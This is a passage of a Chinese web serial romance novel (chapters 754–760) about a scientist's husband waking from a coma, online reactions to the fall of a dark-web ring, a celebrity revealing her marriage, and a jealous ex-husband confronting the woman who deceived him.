早年的善举最终还是能够回报到自己儿女身上,这是幸事。 “邢队,顾队,好久不见了。” 苏青莲笑意温柔的跟两人打招呼。 真的是好久不见了。 要有二十年之久了。 刑从景控制住自己内心的冲动,面上不显的点了点头:“唐老师醒了吗。” 唐清江的天才程度华国人都清楚,当时还年轻的时候就已经评了职称,那些人都尊称他一句唐老师。 刑从景这么问就是知道只有唐清江真的没事了,苏青莲才会出现在大众面前。 “难得还有人关心阿江,他已经清醒了,不过他睡了太多年,虽然我这些年一直用全息舱和营养剂温养,可最初在华国的时候他身体底子受了伤,且毕竟躺了这么多年,需要复建。” “那要回华国吗。”顾凛紧跟着问:“我是说,你们夫妻,一起回华国。” “夫妻?”苏青莲弯了弯眼眉笑了。 “这么多年不见,顾凛你还是这么会说话,其实一定要说的话我跟阿江好像一直都没有举办婚礼。” “阿江现在醒了,等他真的能站起来,我就要他向我求婚。” 苏青莲今天一直在笑,因为唐清江清醒了,她很开心,像是个得到糖果很容易满足的小孩子,任谁说什么她都会笑。 “哥,埃尔斯还活着,我把他交给你了。”许愿沉默了片刻最终还是对唐文晞说了这个。 “谢谢。” 唐文晞眸光闪了闪和身边的唐文愈对视一眼。 这么多年,终于算是亲手为父母报仇了。 苏青莲手上停了一只电子机械鸟,不仔细看会以为这就是一只真的麻雀鸟。 她在手里摇晃了下小麻雀:“阿愿,我看到你的新研究了,仿真麻雀无人机,很棒的构想,不过如果代入最新的三代数据麻雀可以换成更小的更方便操作的动物,比如……蝴蝶?再精进下技术,苍蝇也不是没可能。” 许愿:“……” 许愿想了下让自己研究像真苍蝇的无人机,她就觉得有点反胃。 “苏青莲女士,你就一定要设计这么恶心的东西吗?” “这样不容易被发现。” 毕竟苍蝇这东西真是什么时候都可能有的。 许愿不想跟她聊苍蝇了,她只是想想就更想吐了。 …… 暗网覆灭的消息已经从M国传到了华国,暗网才冒头就被许愿摁死了。 本来就崇拜许愿的人现在更是不停喊许愿大佬。 最近一段时间华国的热搜都跟暗网有关,这次就是暗网的覆灭。 “暗网前阵子不是很嚣张吗?说要绑走我们国内的明星?最后还不是被许愿灭了?前期叫的有多嚣张后期就有多落魄,真是很小丑一样,就这还想蹦跶?你蹦跶的起来吗?” “本来就是阴沟里的臭虫,还非要从泥潭里蹦出来显眼,我们看到了能不踩死你?自己不好好猥琐发育还硬要显摆,我还真当暗网多厉害呢。” “有些人可能因为暗网灭的太快所以对暗网有点误解,我这里简单解释一下,暗网并不是随随便便就能摁死的,你们可以查一下十几年前的暗网是什么样的庞然大物,就是M国官场也没完全入侵,官官相护,想摁死暗网那就要将那张大网完全烧毁。现在的暗网能被轻易覆灭是因为他们还没来得及建立大网,只是一个小的人脉网就已经被许愿阻断,且许愿在海外的人脉圈不是我们能想象得到的,你们以为简单那是因为许愿算计好了一切,如果真的很简单,许愿也不必特意跑了这一遭,直接在国内就能暗中操控指挥了。她亲自去M国肯定是因为有些人的人情只能她亲自出马,暗网从不是随便就能摁死的蚂蚱,只因为出面的是许愿,就这么简单。” “我记得十几年前暗网覆灭的时候有人猜可能是苏青莲出的手,因为那手法太像苏青莲在华国对某些上流贵族的报复手法,这样说来,苏青莲和许愿该说不说……不愧是母女吗,都是一样的凶残?” “我不行了我要一辈子崇拜许愿了,以前我崇拜谁我爸妈都要骂死我了,这次改成崇拜许愿我爸妈夸了我好久说我有出息。我爸妈说对我要求不高,能有许愿十分之一就够了,我的老天奶,有许愿十分之一那也是天才了好吧!我爸妈真看得起我。” “据说许愿从暗网里面救出了很多人,还好拍卖会才开始没有多少人受伤,被绑的那些人多半都已经被送回家了,有些受到伤害的许愿那边也给出解释会为他们安排心理医生做心理疏导,后续也会安排工作照顾他们,讲真的做人做到许愿这一步,她就算是想要称女皇我都第一个跪地高呼万岁好吗,我是真希望许愿万岁了。” “没人同情颜佳雨吗,据说颜佳雨是那批人里被欺辱的最狠的,因为暗网的事情闹得太大了,我那个喜欢到处浪的表哥特地去了一趟M国,她就仗着自己又胖又丑暗网看不上他所以跑过去了,据说许愿联合M国一些内地组织解救那些人的时候他看到了颜佳雨,颜佳雨是被抬出来的,浑身都是血,被送到医院后整个人都迷迷糊糊了,一直再道歉说自己再也不敢做坏事了放过她这种的话,看着像是真的疯了。” “嗯……她挺可怜的,但是只能说是自作自受吧,她不涉及温栩栩也就不会被暗网绑走,可怜人必有可恨之处大概说的就是这个了。” “恶人自有恶人磨送给颜佳雨。” 第755章 是一对 “听说温栩栩出事黎氏的黎总好像也去了M国。” “我不懂……黎总是为温栩栩去的还是为颜佳雨去的?” “靠靠靠!看黎氏最新发出的公告啊!你们快看啊!这他妈的肯定是为了温栩栩去的啊!我上次这么震惊还是看到盛景炎以为自己活不成给许愿留下的遗嘱!没想到这次看到了黎云笙的‘遗嘱’,是真遗嘱啊!天王老子来了黎云笙也是为温栩栩去的M国!” 黎氏突发公告表明黎氏总裁重症需要修养,公司暂时交由许愿打理,且放出了黎云笙的遗嘱,上面写的清清楚楚的如果黎云笙发生意外,黎氏所有的东西,包括黎云笙的所有资产房产股票全部都是温栩栩的,如果黎云笙出事不能主事,这些东西也全部都是温栩栩的,在温栩栩能够独立掌控黎氏前会由盛世许总暂时管理黎氏。 黎氏为什么敢发出这样的公告? 就是因为黎云笙把一切都安排好了,真出了事东西是温栩栩的,但是管理的人是许愿。 那可是许愿啊,管理人员是许愿他们还需要担心什么?且许愿是为温栩栩暂时管理黎氏,只要有温栩栩在许愿就不会对黎氏有什么其它想法,且许愿这样的人也不屑于争抢其它的公司。 黎氏发了公告,那么问题来了! 黎云笙为什么要把东西都留给温栩栩? “我看不懂了,我单知道黎氏曾经对温栩栩很好,所有的资源都喂到温栩栩嘴边的,但为什么好到这地步?给资源就算了,毕竟温栩栩确实漂亮有潜力,但房产资产股票……那我就不太懂了,按道理来讲这种都会留给自己爱人的,比如盛景炎……” “盛景炎跟黎云笙据说是关系很好的兄弟,盛总,盛总你说句话啊,他俩怎么回事啊?” “别告诉我温栩栩是盛景炎的爱人……” “靠!真的有这个可能!当时温栩栩是插队进的女团选秀,当时还被骂皇族说是背后有人,现在想想背后没人也不能插队进去啊!” “救救,他们两个人到底什么关系,许总你有头绪吗,给孩子解解惑啊,救救孩子。” 网络上数不清的人都在猜测温栩栩和黎云笙之间的关系,甚至有人问温栩栩什么情况。 温栩栩的粉丝也感觉不太对,毕竟盛景炎和许愿前车之鉴,这看着真的很像恋人…… 各种资源,甚至闹矛盾离开黎氏也是不用任何赔偿还送资源好聚好散,知道温栩栩出事特地赶去M国,怎么看都像是有私情的样子,越是想越是慌。 别吧。 她们栩栩难道真的跟黎云笙是一对儿? 温栩栩粉丝不敢吱声,但心里已经有了点章程了,毕竟真的太明显了。 已经有粉丝脱粉了,温栩栩大粉还在稳定军心。 毕竟温栩栩就算真谈恋爱了也没什么,那人是黎氏总裁黎氏继承人,且爱她们姐姐爱到把东西都留给她的地步,这样都还不够吗?那还要多爱?再说黎云笙是真的很好看,就是娱乐圈男星也嫌少有黎云笙这样颜值的。 粉丝能是什么心理,无非是担心自家偶像恋爱的对象是渣,且丑,但黎云笙好看啊。而且地位摆在这里呢,最重要的是温栩栩专注事业,又是录制节目又是录制综艺还拍摄电视剧电影的,一样没落下,还有什么不满足的? 且有黎云笙温栩栩想要什么资源就能有什么资源,这不好吗? 大粉们在安慰其他粉丝,脱粉的虽然有,但不算多,更多的是转成了CP粉。 就在粉丝还不停猜猜猜的时候,温栩栩发了条博文,这条博文解释清楚了她和黎云笙的关系。 【温栩栩】:有件事情瞒了大家很久,我和黎先生其实恋爱了五年有余,我从未跟粉丝们提到过单身人设,因为我身边一直有黎先生,我们是在今年结的婚,黎先生对我很好,我想要的他都可以给我,你们也可以很轻松的看出来他对我的纵容。但他和颜佳雨之间的事情大家也都清楚,我们闹过矛盾所以前段时间我才会离开黎氏。这次事发突然被暗网绑走,黎先生为了救我重伤,我需要陪黎先生疗养,所以暂时会退圈一段时间感谢大家对我的喜欢和支持。 温栩栩的博文并没有卖惨,就是简单的讲述了下自己身上发生的事情。 她退圈是为了照顾为自己而重伤的丈夫,若那人是个人渣粉丝或许会群起而攻之,但那人早就立下了遗嘱将一切留给了温栩栩,所以他们真的骂不出来了。 只能说双向奔赴。 “只有我发现了吗,五年有余……温栩栩刚成年就跟黎总在一起了?我靠……” “讲真的,黎总身边真的干干净净的从来没有其他女人,就只有温栩栩一个啊!” “楼上忘记颜佳雨了。” “颜佳雨,这女人真的顶级绿茶啊,她在网络上发那些似是而非的东西还买热搜的时候温栩栩都已经跟黎云笙结婚了,就这还拉着黎总炒作,颜佳雨是什么臭虫啊一直蹦跶。” “本来前面还很同情颜佳雨的遭遇,但现在我不同情了,是她自己最初认为黎总出事不能继承家业所以抛弃了黎总,后来发现黎总成了继承人就转回来勾搭黎总,知道黎总身边有了温栩栩就不停的针对报复买黑热搜买通人诬陷甚至在被关起来后还要找到温栩栩进行报复!” “谁还同情颜佳雨?她自找的。暗网不是好东西但颜佳雨同样不是好东西。” “颜佳雨但凡没那么婊也不会有这下场!” 温栩栩的博文却是说清楚了颜佳雨当初是如何勾着黎云笙炒作的,本来对颜佳雨还有几分同情的人也只剩下鄙夷了。 …… 发完博文的温栩栩已经在飞机上了,苏青莲做事雷厉风行说到做到,已经让人将黎云笙抬到飞机上带她一起去自己的研究所。 许愿也跟着一起去了。 唐清江醒了,那时她的父亲,她想去见他一面。 第756章 唐清江是无辜的 苏青莲带许愿和苏青莲去了自己的小岛,这座小岛是她自己的私人领域。 苏青莲安排人去给黎云笙做检查,先确定他的身体状况,检查结果并不像M国的医生说的那样那么严重。 现在就可以链接全息舱。 苏青莲在给温栩栩连接装备的时候还是给她提了个醒。 “你进入那个世界可能会看到让你陌生的黎云笙,他没有任何记忆,需要你去引领他,让他知道你是他的爱人,他会一点点信任你想要跟你在一起才会有求生的欲望,脑域才能更加活跃,这样他醒来的可能才会更大。” 温栩栩听懂了。 “谢谢苏阿姨。” 苏青莲揉揉她的头语气温柔:“是我应该谢谢你啊,这么多年一直陪在阿愿身边。” 温栩栩笑了笑,像是被安抚到了。 许愿经历过这个,知道温栩栩不会有危险,只是跟她简短道别。 温栩栩倒是相信许愿,真的将黎氏暂时交付给她管理,而黎氏的人也很相信许愿,许愿都要觉得颇为无奈。 处理好温栩栩的事,苏青莲才看向许愿:“要去看看你父亲吗。” 许愿立刻点头,她来这一趟就是为了看望唐清江的,虽然距离上一次并不算很久,但她就是会想念那个在记忆中非常疼爱且在意自己的父亲。 唐清江醒来后身体还很虚弱,苏青莲回去的时候唐清江已经做完了今天的复建,此刻在看实验相关的书籍。 岁月在他的脸上刻下了痕迹,那些曾经饱满的脸颊如今凹陷下去,只剩下一层皮肤紧紧贴附在骨头上,仿佛轻轻一触便会破碎。他的眼睛陷在眼窝之中。 他是真的很瘦弱,躺了这么多年,就算苏青莲用营养液温养,唐清江的身体还是不如当年。 而且,他也是真的老了。 可是依稀还能看出他年轻时候俊美的样貌。 听到脚步声,唐清江抬起头,看到许愿时先是顿了下,然后唇角才露出一抹笑。 “阿愿,你来了。” 许愿扑过去,很想扑进他怀里,却又怕自己不小心就会伤到唐清江,他现在真的很脆弱,让她不敢有其他动作。 “没事的,你父亲坐在轮椅上,倒不了,你还不相信我研制的轮椅。”苏青莲道:“这轮椅就是出去速度都不一定会比跑车慢。” 唐清江颇有些无奈:“就普通的轮椅就好了,我也不会用轮椅去跟跑车去比拼。” 正说着,许愿真的已经扑进了唐清江的怀里,唐清江笑的实在温柔。 他抚摸着自己女儿的发:“那时候看到你就觉得我的女儿真漂亮真优秀,也真的好乖,想抱抱你,现在终于抱到了,也满足了。” 唐清江一直都是温柔的。 就是这样温柔的男人才会让苏青莲那样热情如火的女人爱上,且无法自拔。 “我醒来后青莲说你的朋友遇到了麻烦,现在怎么样,已经解决了吗。”唐清江问。 许愿想到温栩栩和黎云笙,简单解释了几句:“算是解决了一部分。” 知道她会担心,唐清江安慰她:“不要担心,我当初伤的那么重也醒来了,他被送来的及时,不会花费太多时间的。” 许愿点头。 虽然跟苏青莲确实是有矛盾,但不得不承认,苏青莲出现的时候自己就是会觉得放松,好像有她就不那么担心了。 “父亲要多久才能恢复?”许愿看向苏青莲问她。 苏青莲摆了摆肩:“少说也要半年,这还是我用营养液温养的效果,多了大概要一年吧,也不会更久了。” 许愿心里有点激动。 “那父亲……要回国吗。” 苏青莲想了下:“还是暂时不要了,我这地方比较难找,我打算让清江彻底恢复后再回去,或者我们两个人就住在这里可以不用因为那些乱七八糟的烦闷,反正……赚钱的事情有你们。” 苏青莲才说了这话,唐文晞已经进来了,唐文愈和唐文欣跟着一起来的。 唐清江醒来唐家三兄妹当然要来,毕竟这是他们的父亲,他们的唐姓就是随了唐清江。 以往内暗网已经被覆灭,暗网那些资料有关天使的已经传的人尽皆知,唐家兄妹干脆也不戴隐形眼镜遮掩了、。 反正他们这个身份地位,也没有不要命的来挑衅,除非是真的想天凉王破。 苏青莲见他们三个来了赶紧招招手:“这是我给你认得三个帮我们赚钱的养子养女,大儿子唐文愈,二女儿唐文欣三儿子唐文晞。” 说到这里苏青莲看向许愿:“能让小逸来一趟吗。” 苏青莲说的是苏逸。 养子养女都在,亲女也在,只剩小儿子了。 许愿沉默了片刻叹气:“我跟小逸提过了,小逸说不肯来,真要见面就在华国见……毕竟小逸曾经经历的你也是知道的,小逸有权利生气。” 苏青莲当然这个,但还是有点无奈。 “我当然知道小逸有权利生气,我就是想你父亲看看他。” “我的确做了很多错事,但是你的父亲是无辜的。” 许愿没再接话了。 她因为经历过那段记忆所以对唐清江有依赖很爱自己这个父亲是,甚至也有点了解苏青莲。 但小逸不同,小逸没经历过这些,她不能替小逸答应什么。 “别逼孩子,等我身体恢复后我亲自去见小逸,跟他说对不起。”唐清江还是很温柔。 他只说道歉,却不说是为了苏青莲道歉。 许愿哪里看不出唐清江对苏青莲的维护呢? 苏青莲做错了事唐清江会生气但也绝对会维护她,就像她和苏逸的事,他不会逃避,也会认为他也有一部分责任。 唐清江就是这样才把苏青莲惯坏了。 许愿没忍住开口:“父亲,你不觉得你这样会把苏青莲女士惯坏吗。” 她真觉得苏青莲那么恶劣的性子全部都是唐清江惯出来的。 唐清江失笑:“我很庆幸我当初真的惯坏她,所以在我出事后她才不会觉得她自己没用,才会与那么多人为敌,才会带着我逃出来。” 第757章 出了事我也替你扛 “她做错了事我自会跟她一起承担,总归不能让她真的在谁那里受了委屈,这是我绝对不能允许的。” 唐清江就是这样。 我娇惯你,出了事我也替你扛。 唐清江又笑了笑:“盛景炎不也是这样对你的?” 听他提到盛景炎许愿眉眼弯弯:“等他恢复好了我就带他来见父亲,等我们结婚的时候我要父亲送我出嫁。” 唐清江笑了:“好”。 许愿并没有在苏青莲的小岛待太久,陪唐清江吃了一顿饭,讨论了点研究资料,跟他提起有关盛景炎的事,唐清江总是很捧场,她说什么他都会笑着说做的很好。 离开前许愿去看了温栩栩,她已经陷入沉睡,但不知道是遇到了什么,好像很难过。 许愿有些揪心,问过苏青莲才知道原因。 说是修复脑域,就是让他们最信任的人进入他们的脑域世界,而他们切进去的那些记忆多数都是曾经经历过的,或者是会害怕的最恐惧的也可能是最甜蜜的。 黎云笙的话,黎家乱七八糟的事情太多了,黎云笙会梦到那些事,那温栩栩势必也要经历那些,或许会看到黎云笙的童年及过去。 只能说希望黎云笙快点醒来吧。 许愿回到华国第一时间发了条微博,是有关于莱蒂斯的,是一条博文,包含了几家公司,普通人看不懂,但是一些金融大佬上流圈层的人看到后特地去查了这些公司,结果就查到这些公司全都跟莱蒂斯有关。 “有懂的大佬解释下吗,孩子看不懂啊呜呜呜。” “许总发到微博到底是什么意思啊?” “看懂了,查过了,课代表来解释下。前阵子暗网闹得最欢的时候莱蒂斯曾经发过博文嘲讽许愿和唐文晞,许愿那时候没说什么,但这几天给唐文晞憋了个大的,这几家企业都是莱蒂斯的企业,且还是都比较赚钱的项目,全都被许愿联系人截胡了。莱蒂斯只会口嗨,许愿是直接拿捏莱蒂斯命脉啊!要说狠还是许愿狠!” “笑死人了莱蒂斯已经登录自己的外网删掉那几条有关支持暗网的了,这几天他的企业股票不稳不停往下掉,再加上许愿联合围剿,莱蒂斯这次又是损失惨重。” “莱蒂斯为什么就是不能长记性呢?许愿都给他上几课了,这人就是学不乖啊,打一顿也不老实那种。我现在的乐子就是看莱蒂斯网络上挑衅许愿然后被许愿制裁,真太活该了” 莱蒂斯,曾经被多方尊崇的资本,在许愿这里完全沦为笑柄,全都等着看他怎么挑衅许愿然后被压制呢。 莱蒂斯气到自己胸口疼,但是又没办法,只能咬牙把那些贴删除了,省的股东再次打电话质问。 许愿是在飞机场发的博文,只等了片刻,盛景炎已经派助理来接了。 许愿关闭手机打算离开,倏地远远看到傅京礼的身影,她脚步只是轻微停顿,片刻后就要离开。 她不知道傅京礼是不是故意来机场见她。 她不愿多想,也不希望跟傅京礼之间有什么绯闻会让盛景炎看到难过。 可她想走,傅京礼却拦住了她的去路。 许愿抬眸,眸光清冷不带半点情意,仿佛面前真的只是个毫不相干的陌生人,而非当初多次缠绵的前夫。 “我想我们之间没什么可说的,让开。” “我只是想来看看你。”傅京礼嗓音沙哑,夹杂着痛苦:“暗网的事情闹得太大,我担心你会受伤,许愿,我没有恶意。” 许愿面上终于露出了勉强的微笑,她后退两步:“那你现在看到了,可以走了。” 她根本没有跟傅京礼交流的打算,眼神陌生的看着眼前的男人。 倏地在看到不远处坐在轮椅上的爱人时许愿终于弯起眉眼,跟面对傅京礼时全然不同,她是飞速的狂奔过去,然后扑进他的怀里,在他颈边贴贴蹭蹭。 那才是她在意的爱着的人。 盛景炎。 傅京礼远远的看着这一步,他有一瞬间甚至曾经阴暗的想过,盛景炎如果一辈子是个残废就好了,那样他就真的不配留在许愿身边。 可……他还是不忍,对许愿不忍。 傅京礼这次没有撒谎,他知道暗网的事情闹得太大所以想来看她。 他甚至一起跟着去了M国,他虽然不知道许愿在做什么,但一直都在关注他的消息,他甚至觉得今天是老天眷顾自己才让自己在机场遇到了许愿,可许愿不想理他不在乎他。 她的心理只有一个盛景炎。 早就是如此了,是他还没有习惯。 毕竟当初出差回来后跟他极致缠绵的人会是许愿,可现在属于他的一切温柔温暖都是盛景炎的。 后悔吗,当然是悔的,如果重新来一次,他绝对不会招惹许宁……不会为了许宁放开他的手。 可谁又肯再给他一次机会呢,没人会给他机会了。 傅京礼站在原地,孤身一人望着许愿和盛景炎渐行渐远的身影,纵然再想冲过去分开两人,却也知道自己早就没有资格了。 容浔来接他时看到的就是傅京礼茫然又孤寂的眼神。 “遇到许愿和盛景炎了?”容浔马上就猜到原因了。 傅京礼嗯了一声。 “总要走出来啊,阿礼,你一直这样下去,会魔怔的。”容浔一路看着,看傅京礼从最开始的冷漠杀伐变成现在这副优柔寡断的模样有时候也会难过,觉得傅京礼好像真的走不出来了。 他好像是真的病了,很严重的心理疾病。 “对了,我刚才知道了点消息,我猜你应该会很感兴趣……跟当年救你的那个女孩有关。” 傅京礼果然目光落到他身上,他不明白容浔为什么会这么说。 “当年救我的人不是许宁吗?难道还有其他人?” 容浔微微敛眉:“当年许宁并不在你被拐的那个县城,那天许镇江去探望许宁带许宁去了其他地方,当时救你的另有其人。” “许宁应该是知道你一直在找救你的人所以故意冒充了对方。” 第758章 救他的人不是许宁 容浔的话几乎又要让傅京礼听不懂了。 事实上真的听不懂吗,他听懂了,只是此刻竟是不愿懂了。 救他的人不是许宁,那他都做了什么呢? 为了许宁,肆无忌惮的伤害许愿,跟她离婚,婚内劈腿许宁,将她的职位让给许宁,她的东西也一并给了许宁,亲眼看着许宁侮辱她陷害她…… 他以为他欠了许宁的,所以他活该要偿还这一切。 许宁救了他一条命,他要还回去,可现在竟然告诉他……当年许宁并没有在那里,那是谁救了他? 傅京礼似乎因为这些已经站不稳了,他从没觉得自己竟然是这样愚蠢,好像完全的被人玩弄在股掌之间。 这样简单的被许宁玩弄,像个蠢货一样。 傅京礼呼吸粗重,缓缓握紧拳开口:“查到当年的人是谁了没有。” 容浔没有开口。 他查到了,但是却不敢说了。 当年救了傅京礼的人是谁呢?是许愿。 当年许镇江为了装样子才将这个私生女养在小县城,而傅京礼就是那时候被拐走,巧的是许愿那天跟随许镇江已出现在小县城,且许愿在那时也遭遇过一场绑架,后来被人救走。 是谁救的?是许宁吗? 不,很可能是许愿。 可容浔此刻不想告诉傅京礼真相了,他怕傅京礼知道真相会更后悔,他只想让傅京礼知道当初救他的人不是许宁,所以不要再继续维护许宁,仅此而已。 “没有查到,可能还需要你自己去查。”容浔隐瞒了猜到的真相。 傅京礼克制不住此刻内心汹涌的恨意,他转身离开,上了车点着烟抽着。 车内烟雾缭绕,他已经被呛的咳起来。 透过后视镜能看到自己那双眼已经被恨意熏染的全部都是红血丝。 容浔查不到吗,那许宁肯定知道,否则她怎么能瞒这么多年,甚至连手上的那个受伤的伤疤都一样。 傅京礼痛苦的闭上眼,缓了许久才终于给手下发了条信息。 “把许宁带过来,关起来,我有话问她。” 那边收到消息后迅速去安排。 傅京礼边抽边咳嗽,抽着抽着就想笑,笑自己的愚蠢,笑自己被一个贪婪自私的女人蒙蔽这么多年。 你凭什么能得到许愿的爱呢,你这样不是活该吗? 活该她只要盛景炎不要你,傅京礼,你活该。 …… 傅京礼和容浔的对话许愿一概不知,此刻上了车就贴进他怀里 盛景炎的腿已经康复的差不多了,现在可以长时间的站立简单走动,再做一段时间康复训练一定能够恢复到原来那样。 许愿忍不住伸出手捏捏他大腿处的肉,感受到男人肌肉紧绷,没捏着。 她撇了下嘴戳了戳。 “等你恢复好后我要你抱着我走,走到哪里抱到哪里。” 盛景炎忍不住笑意,他梳弄着她有点乱的发:“你不怕被人看的话我当然不介意。” 许愿凑到他耳边小声嘀咕:“还可以抱着在窗边在客厅在浴室……” 盛景炎呼吸都有些乱了,手臂扣住她细嫩的腰嗓音沙哑:“阿愿,别再胡闹了。” “你就说给不给吧。”她有点得意,一副我是小皇帝我天大地大的模样。 盛景炎下巴靠在她肩侧:“你知道的,你要什么我都会给。” 许愿这才开心了。 “我本来还在担心因为这次的事你会难过,还想安慰你,现在看来倒是不需要了。”盛景炎说道。 许愿握着盛景炎的手把玩,转着他手上的戒指边玩闹边开口:“本来是难过的,可栩栩并没有真的受到伤害,这次唯一受伤的可能就是黎云笙,不过苏青莲女士去的及时,黎云笙应该没什么大事,大概就想苏青莲女士那样链接他的脑域需要刺激他的大脑,他总会醒过来的,不需要多久的时间。” “所以,坦白来讲也算是皆大欢喜。”说到这里许愿眼睛亮晶晶道:“而且我父亲醒过来了,等忙完国内的工作我就带你去见我的父亲,他应该知道我们的事情,所以对你很满意。” “好。” 许愿回到家简单睡了会儿就要去黎氏,还是被盛景炎抱着才又多休息了一天。 贸然接手一家公司管理其各个部门并不简单,不是说说就行的。 好在许愿对黎氏比较了解,所以不算太难。 黎氏的股东也非常欢迎许愿暂时管理黎氏,毕竟盛世由许愿管理后又升了一阶,他们黎氏往后也会越变越好了。 其实黎氏能这么和谐也因为黎氏早就被黎云笙大刀阔斧整改过了,那些会找茬的人早就被黎云笙开除或者强势逼出局了,所以许愿才能这么轻松就在黎氏站稳脚跟。 许愿在黎氏审阅文件时许宁已经在睡梦中被绑到一栋别墅内。 她最近胖了一圈,已经没了往日那副清纯模样,肚子也已经鼓起来,像是有孕。 许宁有些惊慌,不知道绑自己的人会是谁,担心害怕。 她就这么捂着肚子担惊受怕了好久,直到房门被推开,她看到了傅京礼。 许宁松了口气。 虽然不能继续跟傅京礼在一起了,但是她知道这实际上最不可能伤害自己的就是许镇江和傅京礼了。 她捂着自己有点突的肚子,柔柔弱弱的开口:“阿礼哥哥,你接我过来是有什么事吗.” 她胖了一圈 ,脸都肿了,此刻用这样黏黏糊糊的声音说话只会让人觉得恶心,可她全然不知,还继续搔首弄姿。 傅京礼抬眸,他明明看着很平静,面上没有表情,可偏偏那双漆黑的瞳眸像是渗着血一般可怖。 许宁的心彻底揪起来了。 “阿礼哥哥……你到底怎么了,为什么不说话,是我做错什么了吗?” 她还在娇滴滴的询问。 傅京礼逼视她,哑着嗓子开口:“别叫我阿礼哥哥,你心里清楚我不是你的阿礼哥哥。” 许宁心里慌了神,她有点不明白傅京礼为什么这么说,这是又打算不管自己了吗? 她还要卖惨,就听傅京礼冰冷的嗓音在耳边响起。 “当年救我的人,不是你。” 第759章 这个孩子你生不下来 许宁此刻整个人都僵在原地,她目光有些呆滞的看着傅京礼,手放在小腹,像是无措,又像是想要遮掩。 怎么知道的? 傅京礼为什么会知道当年的事……她明明已经很小心了。 许宁舔了舔干涩的唇瓣,她觉得自己此刻竟然发不出声音,像是极致的恐惧。 这么久,她一直在傅京礼面前装出一副可怜委屈的模样,惹了事也希望傅京礼能帮自己摆平,可……傅京礼肯帮她是因为她的身份。 救命恩人的身份。 傅京礼从前以为她是那个人,所以对她体贴温柔,她才能插进他和许愿的婚姻中,让两人离婚甚至老死不相往来的地步。 甚至于,容浔都说她是祸害,是因为她傅氏才变成今天这样,傅京礼没了爱人,傅氏铁三角也只剩容浔一人,许愿走了,沈略离开了,真正陪在傅京礼身边的就只剩下容浔了,如果容浔不是完全的利傅京礼主义者,那么现在傅京礼就会变成完全的孤家寡人。 这一切都是谁害的,是许宁害的。 她就是罪魁祸首。 许宁唇瓣哆嗦,她抬头就会对上男人漆黑幽暗布满血丝的猩红双眸,那是一种带着绝对仇恨的眼神,像是要现在就将她碾碎的恨意。 她不敢回应了,她不敢说明真相。 她在做这一切伪装的时候真的没有想过后果吗?她想过的,可她就是觉得自己聪明貌美一定能嫁给傅京礼,等她真的嫁给傅京礼再为他留下血脉成为他的挚爱,就算当初的事被揭露傅京礼肯定也狠不下心来对付她。 可她没想到没得到傅京礼的爱,还成了那个祸害。 现在的傅京礼知道真相对她要有多恨,她觉得现在的傅京礼看自己的眼神想要冲过来撕裂她的皮肉然后吞吃入腹的恨,不,或许他都会嫌弃她的血肉带着腥臭的味道。 许宁再次舔了舔干涩的唇瓣,她低下了头,像是闪躲的完全不敢对上傅京礼此刻冰冷的眼眸。 她心虚,她害怕,她惊慌。 她甚至捂着自己的小腹,觉得着肚子里的孩子能救自己最后一命。 她眼中带着泪意,眼泪扑簌簌的往下掉,可这一切都不会令傅京礼有半分怜惜。 他就这么看着在自己面前装可怜的许宁,他嗓音沙哑,掺杂着复杂的恨意。 “许宁,我已经给足了你时间思考。” “现在回答我,当年救我的人是谁。” 他又一次问出口。 许宁的手仅仅攥着自己的衣袖,指甲陷进肉里,牙齿咬着下唇。 “是我救的你,阿礼哥哥,我不知道你在说什么,你是被谁骗了,那个人肯定是要离间我们之间的关系,你不要信他!” 都到这一刻了,许宁还是打算撒谎。 她不敢承认不敢说出真相。 “到这时候了,你还在撒谎。” 傅京礼缓步行至她面前,面色沉冷的看着她,然后拽起她的衣领,将人拽到自己身边。 离得这样近,许宁都能问道傅京礼身上传来了淡淡的酒气。 “这世界上唯一不可能背叛我的是容浔,你认为是容浔在欺骗我还是你在欺骗我。” 容浔。 又是容浔! 为什么容浔就是不肯放过她! 许宁惊慌过后眼底闪过了无尽的恨意。 从她跟傅京礼偷偷在一起后容浔就不止一次的暗中嘲讽她的身份上不得台,容浔一直就更欣赏许愿,他将许愿高高捧起,却将她看作是烂泥踩进泥地里。他侮辱她讥讽她将她看做暗中的臭虫一样。 为什么就是不肯放过她!为什么一定要揪出十几年前的事! “一定是……容浔搞错了……”她支吾着。 她当然也知道容浔跟傅京礼的关系,她绝不可能说是容浔背叛傅京礼。 “许宁,我再给你一次机会,是谁救了我。”傅京礼明明面色平淡,可那双眼却是黑沉无情。 “真的是我!阿礼哥哥我绝对不会骗你的!” 说着不会骗他,可这句话就是谎言。 许宁望着傅京礼,泪水已经涌出。 傅京礼看着她。 “你怀孕了对吗。” 他的目光落到她的凸起的小腹,语气淡淡的,却透着骨子狠戾的凉薄。 许宁的手护着自己的小腹想要往后缩动,将自己整个人团成一个圆想要保护肚子里的孩子。 这是她最后的筹码了! “其实你不必继续瞒着当年的事,你怀了其他人的孩子,我是绝对不可能娶你。”傅京礼嗓音干涩:“告诉我是谁救了我,我可以暂时放过你。” 许宁眼睛一亮,可缓过来后她反应过来傅京礼说的是“暂时”。 许宁的手颤抖着想要伸出去握住他的衣袖,傅京礼退后一步,像是嫌她脏。 “阿礼哥哥,真的是我救的你,真的是我,那个时候就只有我在那个小县城,除了我还有谁能为你付出那么多呢!阿礼哥哥你信我啊!” 不敢承认不能承认。 傅京礼没有说话,他像是平静的转过身,随手点了根烟,但他的手在颤抖。 其实他大概已经猜到了。 混到这个位置的谁也不是蠢货,容浔能猜到的他怎么会猜不到,他只是自我安慰,想要从许宁这里知道真相。 许宁缩在角落里,望着傅京礼的背影还是痴迷的。 她喜欢了这么多年的人,哪怕现在怀了其他人的孩子,她还是爱慕傅京礼。 她就这么贪婪的望着男人的背影,不知道忘了多久,终于再次听到男人的声音了。 “她是谁。” “不说的话,这个孩子你是绝对生不下来的。” 傅京礼没有转身,嗓音一如既往的冰冷。 许宁没开口,身体在发抖。 他像是想到什么一般回过头去,目光犀利却又带着几分残忍的落到她身上。 “我记得我和阿愿得孩子是因为你才落胎的,对吗。” 他的声音平静的没有波澜,可敏锐如许宁还是感受到傅京礼话语中的凶残。 他疯了。 他想要害她肚子里还没有成型的孩子! 许宁瑟瑟发抖,她想要逃,却再度对上男人布满血丝的眼眸。 第760章 傅京礼点赞许愿微博 “我和阿愿得孩子都没能如愿生下来,你的孩子凭什么能降生?” 许宁听到傅京礼残忍的声音。 他和许愿的孩子因为许宁才会落胎,如果许愿生下那个孩子,那孩子就会是他的后代,傅家的一切他都会留给他。 不论那是男胎还是女胎,那都是他最爱的孩子。 他甚至都没有……都没有感受到那个孩子的胎动! 